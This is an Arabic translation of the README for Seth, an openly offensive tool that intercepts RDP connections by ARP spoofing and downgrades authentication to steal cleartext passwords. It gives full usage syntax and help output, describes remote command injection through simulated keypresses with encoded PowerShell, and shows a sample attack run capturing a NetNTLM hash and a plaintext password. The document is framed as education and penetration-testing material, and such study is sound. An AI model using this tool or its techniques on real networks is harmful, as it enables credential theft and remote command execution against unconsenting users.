
نفذ هجوم MitM واستخرج بيانات اعتماد نصية واضحة من اتصالات RDP
Seth هي أداة مكتوبة بلغة Python و Bash لاعتراض اتصالات RDP (MitM) عن طريق محاولة خفض مستوى الاتصال لاستخراج بيانات الاعتماد النصية الواضحة. تم تطويرها لرفع الوعي والتثقيف حول أهمية اتصالات RDP المهيأة بشكل صحيح في سياق اختبار الاختراق وورش العمل أو المحاضرات. المؤلف هو Adrian Vollmer (SySS GmbH).
قم بتشغيلها على النحو التالي:
$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]
ما لم يكن مضيف RDP موجودًا على نفس الشبكة الفرعية للجهاز الضحية، يجب أن يكون عنوان IP الأخير عنوان IP للبوابة.
المعامل الأخير اختياري. يمكن أن يحتوي على أمر يتم تنفيذه على مضيف RDP عن طريق محاكاة WIN+R عبر حقن ضغطات المفاتيح. يعتمد حقن ضغطات المفاتيح على تخطيط لوحة المفاتيح الذي يستخدمه الضحية - حاليًا يعمل بشكل موثوق فقط مع التخطيط الإنجليزي الأمريكي. أقترح تجنب الأحرف الخاصة باستخدام powershell -enc <STRING>، حيث STRING هو أمرك المشفر بـ UTF-16le و Base64. ومع ذلك، يجب أن يكون calc عالميًا تمامًا ويؤدي الغرض.
يقوم السكربت shell بعمل انتحال ARP للحصول على موقع الوسيط (Man-in-the-Middle) ويعيد توجيه حركة المرور بحيث تمر عبر وكيل RDP. يمكن استدعاء الوكيل بشكل منفصل. يمكن أن يكون هذا مفيدًا إذا كنت تريد استخدام Seth مع Responder. استخدم Responder للحصول على موقع الوسيط وقم بتشغيل Seth في نفس الوقت. قم بتشغيل seth.py -h لمزيد من المعلومات:
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host target host of the RDP service
target_port TCP port of the target RDP service (default 3389)
optional arguments:
-h, --help show this help message and exit
-d, --debug show debug information
-f, --fake-server perform a 'fake server' attack
-p LISTEN_PORT, --listen-port LISTEN_PORT
TCP port to listen on (default 3389)
-b BIND_IP, --bind-ip BIND_IP
IP address to bind the fake service to (default all)
-g {0,1,3,11}, --downgrade {0,1,3,11}
downgrade the authentication protocol to this (default
3)
-j INJECT, --inject INJECT
command to execute via key press event injection
-c CERTFILE, --certfile CERTFILE
path to the certificate file
-k KEYFILE, --keyfile KEYFILE
path to the key file
لمزيد من المعلومات، اقرأ PDF في doc/paper (أو اقرأ الكود!). تحتوي الورقة أيضًا على توصيات للتدابير المضادة.
يمكنك أيضًا مشاهدة عرض تقديمي لمدة عشرين دقيقة يشمل عرضًا توضيحيًا (يبدأ عند 14:00) على YouTube: https://www.youtube.com/watch?v=wdPkY7gykf4
أو شاهد العرض التوضيحي فقط (مع ترجمة) هنا: https://www.youtube.com/watch?v=JvvxTNrKV-s
يظهر الإخراج التالي من منظور المهاجم. يقوم Seth باختطاف تجزئة قابلة للكسر دون اتصال بالإضافة إلى كلمة المرور النصية الواضحة. هنا، لم يتم فرض NLA وتجاهل الضحية تحذير الشهادة.

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ [email protected]
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
python3
tcpdump
arpspoof
arpspoof جزء من dsniff
openssl
استخدم على مسؤوليتك الخاصة. لا تستخدم دون موافقة كاملة من جميع المعنيين. لأغراض تعليمية فقط.